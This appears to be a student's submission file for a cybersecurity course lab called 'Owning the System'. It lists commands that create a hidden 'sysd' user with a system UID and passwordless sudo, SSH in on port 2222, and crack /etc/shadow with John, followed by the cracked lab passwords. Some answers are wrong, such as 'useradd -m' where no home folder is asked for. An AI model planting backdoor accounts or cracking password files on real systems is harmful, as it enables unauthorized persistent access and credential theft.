



Cybersecurity

Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

```
sudo useradd -m sysd
```

2. Give your secret user a password.

```
sudo passwd sysd
```

3. Give your secret user a system UID < 1000.

```
usermod -u 700 sysd
```

4. Give your secret user the same GID.

```
groupmod -g 700 sysd
```

5. Give your secret user full `sudo` access without the need for a password.

```
sudo visudo
```

```
sysd ALL=(ALL) NOPASSWD:ALL
```

6. Test that `sudo` access works without your password.

```
su sysd  
sudo -l
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file.

```
sudo nano /etc/ssh/sshd_config
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
sudo systemctl restart ssh.service
```

2. Exit the `root` account.

```
Ctrl-D
```

3. SSH to the target machine using your `sysd` account and port `2222`.

```
ssh sysd@192.168.6.105 -p 2222
```

4. Use `sudo` to switch to the root user.

```
sudo su
```

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`.

```
ssh sysd@192.168.6.105 -p 2222
```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file.

```
john /etc/shadow
```

computer	(stallman)
freedom	(babbage)
trustno1	(mitnik)
dragon	(lovelace)
passw0rd	(sysadmin)
lakers	(turing)
passw0rd	(sysadmin)
Goodluck!	(student)

Source: <https://linuxhint.com/add-user-linux/>

<https://www.howtogeek.com/447906/how-to-control-sudo-access-on-linux/amp/>

<https://learnubuntu.com/run-sudo-without-password/>

<https://www.golinuxcloud.com/linux-check-sudo-access/>

<https://www.baeldung.com/linux/sudo-privileges-user>